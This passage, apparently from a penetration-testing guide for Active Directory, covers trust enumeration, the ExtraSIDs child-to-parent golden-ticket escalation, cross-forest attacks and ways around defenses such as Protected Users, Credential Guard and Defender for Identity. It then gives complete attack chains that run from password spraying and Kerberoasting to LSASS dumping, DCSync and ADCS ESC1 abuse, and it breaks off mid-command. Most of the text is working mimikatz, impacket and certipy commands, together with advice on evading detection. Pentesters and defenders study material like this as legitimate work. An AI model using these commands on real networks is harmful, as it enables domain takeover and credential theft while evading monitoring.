# β External β One-way or β Between domains in DIFFERENT forests.β
# β β two-way β Non-transitive. SID filtering may β
# β β NON-transit β be enabled (blocks SID history). β
# βββββββββββββββββββββΌββββββββββββββΌβββββββββββββββββββββββββββββββββββββββ€
# β Forest β One-way or β Between forest root domains. β
# β β two-way β Transitive within the forest. β
# β β transitive β SID filtering enabled by default. β
# βββββββββββββββββββββ΄ββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββ
# PowerView
Get-DomainTrust
Get-DomainTrust -Domain child.domain.htb
Get-ForestTrust
Get-DomainTrustMapping
# .NET
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# nltest
nltest /domain_trusts /all_trusts
# From Linux
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'pass' -b 'DC=domain,DC=htb' \
'(objectClass=trustedDomain)' cn trustDirection trustType
This is the classic trust abuse: you're Domain Admin in a child domain and want to escalate to Enterprise Admin in the parent/root domain. The trust key between parent and child allows you to forge an inter-realm TGT with extra SIDs injected into the PAC.
# βββ The ExtraSIDs Attack βββ
#
# You are DA of: child.domain.htb
# You want EA of: domain.htb (parent)
#
# βββββββββββββββββββ trust βββββββββββββββββββ
# β child.domain.htb βββββββββΊβ domain.htb β
# β (compromised) β β (target) β
# βββββββββββββββββββ βββββββββββββββββββ
#
# The inter-realm trust key lets us forge a ticket
# with the Enterprise Admins SID injected
# Step 1: Get the trust key (from child DC)
mimikatz# lsadump::dcsync /domain:child.domain.htb /user:domain.htb$
# Or:
mimikatz# lsadump::trust /patch
# Step 2: Get the parent domain SID
impacket-lookupsid domain.htb/user:password@PARENT_DC_IP
# Step 3: Forge inter-realm TGT with Enterprise Admins SID
# Mimikatz:
mimikatz# kerberos::golden /user:Administrator /domain:child.domain.htb \
/sid:S-1-5-21-CHILD-SID \
/sids:S-1-5-21-PARENT-SID-519 \
/krbtgt:TRUST_KEY_HASH \
/ptt
# /sids: β Injects Enterprise Admins (RID 519) of parent domain
# Impacket:
impacket-ticketer -nthash TRUST_KEY_HASH \
-domain child.domain.htb -domain-sid S-1-5-21-CHILD-SID \
-extra-sid S-1-5-21-PARENT-SID-519 \
Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/Administrator@PARENT_DC.domain.htb
# Step 4: You now have Enterprise Admin access to the parent domain!
# DCSync the parent:
impacket-secretsdump -k -no-pass domain.htb/Administrator@PARENT_DC.domain.htb
# Cross-forest attacks are harder due to SID filtering
# (blocks SIDs from outside the trusted forest)
# However, you can still:
# 1. Access resources explicitly shared across the trust
# Enumerate with:
Get-DomainForeignGroupMember -Domain target.forest
Get-DomainForeignUser -Domain target.forest
# 2. Kerberoast across trust
impacket-GetUserSPNs -target-domain target.forest \
domain.htb/user:password -dc-ip DC_IP -request
# 3. If SID filtering is misconfigured or disabled:
# Same ExtraSIDs attack as parent-child
# (rare but check!)
π‘ Pro tip: SID filtering is the defense against ExtraSIDs attacks across forest trusts. But within a forest (parent-child trusts), SID filtering is NOT applied β making child-to-parent escalation trivially exploitable with the trust key. If you own any child domain, you own the entire forest. This is by design β Microsoft considers the forest (not the domain) to be the security boundary.
Understanding blue team defenses makes you a better pentester. If you know what defenses are in place, you can identify which attacks will work and which will get caught. Here's what mature organizations deploy β and how it affects your attack surface.
# Members of "Protected Users" get these restrictions:
# - NTLM authentication is BLOCKED (no pass-the-hash!)
# - Kerberos delegation is BLOCKED
# - Kerberos ticket lifetime reduced to 4 hours (not 10)
# - DES/RC4 encryption not allowed (only AES β Kerberoasting is harder)
# - CredSSP plaintext credential caching disabled
# - WDigest is blocked (no plaintext in LSASS)
# Impact on attackers:
# - Can't relay NTLM for Protected Users
# - Can't PtH for Protected Users
# - Kerberoasting returns AES-only tickets (much slower to crack)
# - Can't use delegation attacks involving Protected Users
# Bypass: Protected Users only applies to DOMAIN authentication.
# Local accounts are not affected.
# Also: if you already have DA, you can remove users from this group.
# Windows Credential Guard uses virtualization-based security (VBS)
# to isolate LSASS in a separate VM (LSAIso.exe)
#
# Impact:
# - Mimikatz sekurlsa::logonpasswords FAILS
# - Can't dump plaintext passwords from LSASS
# - NTLM hash extraction is blocked
# - Kerberos ticket extraction from memory is blocked
#
# What still works:
# - DCSync (doesn't touch LSASS)
# - SAM database dumping
# - NTDS.dit extraction
# - Kerberoasting (doesn't need LSASS)
# - ADCS attacks
# - Service account password cracking
# - Most AD-level attacks (Credential Guard only protects local LSASS)
# Microsoft's recommended admin model:
#
# Tier 0 β Domain Controllers, AD admin accounts
# β Only Tier 0 admins can log into Tier 0 systems
# β Tier 0 accounts NEVER log into Tier 1 or Tier 2
#
# Tier 1 β Servers, enterprise applications
# β Server admins, app admins
# β Can't access Tier 0 or Tier 2
#
# Tier 2 β Workstations, user devices
# β Helpdesk, workstation admins
# β Can't access Tier 0 or Tier 1
#
# Impact on attackers:
# - Can't steal Tier 0 creds from workstations (they never log in there)
# - Lateral movement is blocked between tiers
# - Must find a path WITHIN the tier, then escalate tier-by-tier
#
# Reality: Most orgs implement this poorly.
# Domain Admins still log into workstations "just this once"
# β Their creds get cached β You dump LSASS β Game over
# βββ LAPS (Local Administrator Password Solution) βββ
# Unique, rotating local admin passwords per machine
# Impact: Can't reuse local admin creds across machines
# Bypass: Read LAPS password if you have permission (see LAPS section)
# βββ SMB Signing Required βββ
# Blocks NTLM relay attacks via SMB
# Impact: Can't relay SMB to SMB
# Bypass: Relay to other protocols (LDAP, HTTP, ADCS web enrollment)
# βββ LDAP Signing / Channel Binding βββ
# Blocks NTLM relay to LDAP
# Impact: Can't relay to LDAP for RBCD/DCSync
# Bypass: Relay to other services
# βββ Disabling NTLM βββ
# Force Kerberos-only authentication
# Impact: No pass-the-hash, no NTLM relay
# Bypass: Overpass-the-hash (convert hash to Kerberos ticket),
# Kerberos-based attacks still work
# βββ Microsoft Defender for Identity (MDI) / ATA βββ
# Monitors DC traffic for known attack patterns
# Detects: DCSync, Golden Ticket, Kerberoasting, pass-the-hash,
# NTLM relay, AS-REP roasting, BloodHound collection
# Impact: Your attacks get flagged and alerts fire
# Bypass: Stealthier variants (Diamond Ticket vs Golden Ticket),
# slower Kerberoasting, targeted vs mass collection
# βββ Honeypot Accounts βββ
# Fake service accounts with SPNs that look tempting
# If you Kerberoast them β alert fires
# Look for: accounts with no real service, recently created,
# suspicious names like "svc_backup_old"
# βββ Windows Event Forwarding (WEF) βββ
# Centralized log collection from all domain machines
# Key Event IDs:
# 4624 β Logon (Type 3=network, Type 10=RDP)
# 4625 β Failed logon
# 4648 β Explicit credential logon
# 4672 β Special privilege logon
# 4768 β TGT request (AS-REQ)
# 4769 β TGS request (Kerberoasting detection)
# 4771 β Kerberos pre-auth failed (AS-REP roasting detection)
# 4776 β NTLM authentication
# 4688 β Process creation (with command line logging)
# 5136 β Directory Service Changes (ACL modifications)
# 7045 β New service installed (PsExec detection)
π‘ Pro tip: On a real engagement, check early whether the target has MDI/ATA deployed. Your first Kerberoasting attempt will trigger an alert. If MDI is present, be selective β Kerberoast only specific high-value targets, not every SPN in the domain. Use /user:specific_target instead of mass collection.
Individual techniques are building blocks. Real-world compromises chain multiple techniques together. Here are realistic attack chains from initial foothold to Domain Admin, as seen on actual penetration tests.
# βββ ATTACK CHAIN 1 βββ
# Difficulty: Medium | Stealth: Medium | Reliability: High
#
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# β Password ββββΊβ Kerberoast ββββΊβ ACL Abuse ββββΊβ DCSync β
# β Spray β β svc_sql β β WriteDACL on β β All hashes β
# β β jsmith β β β crack hash β β Domain Adminsβ β β DA! β
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# Step 1: Password spray to get initial foothold
crackmapexec smb DC_IP -u users.txt -p 'Spring2026!' --no-bruteforce
# Result: jsmith:Spring2026!
# Step 2: Run BloodHound to map the domain
bloodhound-python -u jsmith -p 'Spring2026!' -d domain.htb -ns DC_IP -c all
# Import into BloodHound, mark jsmith as Owned
# Step 3: BloodHound shows svc_sql is Kerberoastable and has WriteDACL on DA group
# Kerberoast svc_sql
impacket-GetUserSPNs domain.htb/jsmith:'Spring2026!' -dc-ip DC_IP \
-request-user svc_sql -outputfile svc_sql.hash
# Step 4: Crack the hash
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
# Result: svc_sql:SQLAdmin2019!
# Step 5: Use WriteDACL to grant svc_sql DCSync rights
# (or add to Domain Admins)
impacket-dacledit -action write -rights DCSync -principal svc_sql \
-target-dn 'DC=domain,DC=htb' domain.htb/svc_sql:'SQLAdmin2019!'
# Step 6: DCSync to dump all hashes
impacket-secretsdump domain.htb/svc_sql:'SQLAdmin2019!'@DC_IP
# βββ ATTACK CHAIN 2 βββ
# Difficulty: Medium | Stealth: Low-Medium | Reliability: Very High
#
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# β Phishing ββββΊβ LSASS Dump ββββΊβ Lateral Move ββββΊβ ADCS ESC1 β
# β β jsmith PC β β β admin hash β β β WEB01 β β β DA cert β
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# Step 1: Phishing payload lands on jsmith's workstation
# Macro in document β reverse shell β local priv esc to SYSTEM
# Step 2: Dump LSASS (IT admin was recently logged in)
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# Result: it_admin NTLM hash: aabbccdd...
# Step 3: Check where it_admin is local admin
crackmapexec smb 10.10.10.0/24 -u it_admin -H aabbccdd... | grep '(Pwn3d!)'
# Result: WEB01 (10.10.10.50)
# Step 4: Lateral move to WEB01
impacket-wmiexec domain.htb/[email protected] -hashes :aabbccdd...
# Step 5: Run certipy to find vulnerable ADCS templates
certipy find -u [email protected] -hashes :aabbccdd... -dc-ip DC_IP -stdout
# Result: ESC1 vulnerable template "WebServerAuth"
# Step 6: Request certificate as Administrator
certipy req -u [email protected] -hashes :aabbccdd... -dc-ip DC_IP \
-ca 'domain-CA' -template 'WebServerAuth' \
-upn [email protected]
# Step 7: Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Result: Administrator NTLM hash β Domain Admin!
# βββ ATTACK CHAIN 3 βββ
# Difficulty: Hard | Stealth: Medium | Reliability: Medium
#
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# β Responder ββββΊβ NTLM Relay ββββΊβ RBCD ββββΊβ S4U Abuse β
# β β NTLMv2 β β β LDAP β β β delegate β β β admin TGS β
# ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
# Step 1: Responder captures NTLMv2 hash from link file on share
sudo responder -I eth0 -dwv
# Step 2: Or better β relay to LDAP for RBCD
# Disable SMB/HTTP in Responder.conf, then:
impacket